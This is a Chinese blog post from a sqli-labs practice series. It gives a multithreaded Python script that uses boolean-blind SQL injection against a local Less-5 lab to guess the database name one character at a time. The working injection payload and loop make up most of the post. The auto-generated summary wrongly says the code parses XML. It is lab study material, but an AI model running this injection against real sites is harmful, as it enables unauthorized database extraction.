布尔盲注多线程判断database()名字

最新推荐文章于 2022-11-18 19:50:41 发布

Lu&Tian

最新推荐文章于 2022-11-18 19:50:41 发布

阅读量354

点赞数

分类专栏： sqli-labs 文章标签：数据库 python database

本文链接：https://blog.youkuaiyun.com/t0410ch/article/details/124723328

版权

sqli-labs 专栏收录该内容

4 篇文章

订阅专栏

该博客探讨了如何使用多线程提高SQL注入扫描的效率。通过Python的_thread模块实现线程并行查询，针对布尔注入场景，利用ElementTree解析XML，requests库发送HTTP请求，对数据库名进行逐字猜测，从而加快扫描速度。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

#网上大多是单线程查询，效率过慢，此旨在开发多线程扫描
from turtle import update
from xml.etree.ElementTree import tostring
import requests
import _thread
import time

def thread_check(ipz):
    global jia
    global database_name
    for tail in chars:
        html_head="http://127.0.0.1/sqli-labs/Less-5/?id=1' and mid(database(),"+str(ipz+1)+",1)='"+tail+"' %23"#-->拼接布尔注入的代码
        html_check=requests.get(html_head)
        html_check_bytes=html_check.content
        html_check_str=html_check_bytes.decode()
        if(html_check_str==html_str):
            update_shu=tail+str(ipz)
            database_name[ipz]=tail
            print(database_name)
            jia=jia+1
            break

html = requests.get('http://127.0.0.1/sqli-labs/Less-5/?id=1')#得到一个Response对象
html_bytes = html.content#属性.content用来显示bytes型网页的源代码
html_str = html_bytes.decode()#属性.decode()用来把bytes型的数据解码为字符串型的数据，默认编码格式UTF-8  -->这里存着正确的界面
database_name=[0,0,0,0,0,0,0,0]#根据判断出的database()名的length来定义数组
chars=[]
jia=0
for i in range(97,123):
    chars.append(chr(i))
for ipz in range(8):    
    try:
        _thread.start_new_thread( thread_check, (ipz,) )
    except:
        print ("Error: 无法启动线程")
while 1:
    pass